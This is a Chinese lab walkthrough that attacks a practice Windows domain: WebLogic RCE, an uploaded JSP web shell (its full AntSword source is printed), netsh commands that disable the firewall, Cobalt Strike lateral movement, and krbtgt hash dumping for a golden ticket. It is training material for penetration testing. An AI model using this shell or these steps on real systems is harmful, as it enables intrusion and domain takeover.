一、环境搭建
注意:靶机通用密码: 1qaz@WSX
这里设置两个网卡
三台虚拟机配置如下:
kali机:192.168.230.131(VMnet8 网卡随机分配的IP)
PC机:192.168.230.201(外网ip),10.10.10.201(内网ip)
DC机:10.10.10.10(域控)
WEB机:192.168.230.80(外网),10.10.10.80(内网)
(1)PC机配置
PC端虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。
进去之后查看网卡,会有账户控制窗口弹出,账户密码:administrator/1qaz@WSX
这里需要使用我们自己的nat网段
配置成功
(2)DC机配置
DC主机只有一张网卡
(3)WEB机配置
WEB主机有两张网卡,第一张网卡NAT,第二张网卡选择一个仅主机模式的网络
这里WEB主机以administrator第一次登录时没有密码,登录后会要求重新设置密码
(这里我设置的是1qaz@wsx)
这里和PC机操作一样
进入目录C:\Oracle\Middleware\user_projects\domains\base_domain,运行statweblogic服务。注意要以管理员身份运行
二、外网渗透
(1)信息收集
探测一下存活主机
使用goby对目标进行扫描,开放了一些高危端口,3389,7001,445
goby探测出有weblogicRCE漏洞
(2)weblogic漏洞利用
使用weblogic漏洞利用工具RCE
上传shell,路径选择
1、把shell写到控制台images目录中
上传路径:C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
这里需要访问:http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
2、写到uddiexplorer目录中
路径:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
访问:http://*.*.*.*:7001/uddiexplorer/shell.jsp
3:在应用安装目录中
路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
访问:http://*.*.*.*:7001/项目名/shell.jsp
这里我们尝试第一种,使用的蚁剑jsp一句话木马
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
蚁剑成功连接
关闭防火墙
netsh advfirewall show all state //查看防火墙状态
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
三、内网渗透
(1)cs上线
cs生成木马,蚁剑执行木马上线cs
cs上提权成功
(2)内网信息收集
shell ipconfig /all 收集域 ip
发现机器有双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10(域控一般是本机的DNS服务器)
内网存活主机探测加端口扫描
portscan 10.10.10.0/24
发现都开着445,3389端口
收集账户密码
(3)横向移动
1、rdesktop(3389rdp远程连接)
成功连接
因为其它两台主机都开启了3389,所以可以 以192.168.230.80作为跳板连接其它两台主机
2、利用cs
新建一个 Listener,选择之前获取到的凭据信息(明文密文均可),选择 Listener 及主机 Session
DC成功上线:
(4)权限维持
黄金票据
从DC中hashdump出krbtgt的hash值,krbtgt用户是域中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
在DC查看域的sid,使用mimikatz
在WEB机 Administrator 权限机器生成黄金票据
直接远程连接dir域控c盘成功
shell dir \\10.10.10.10\c$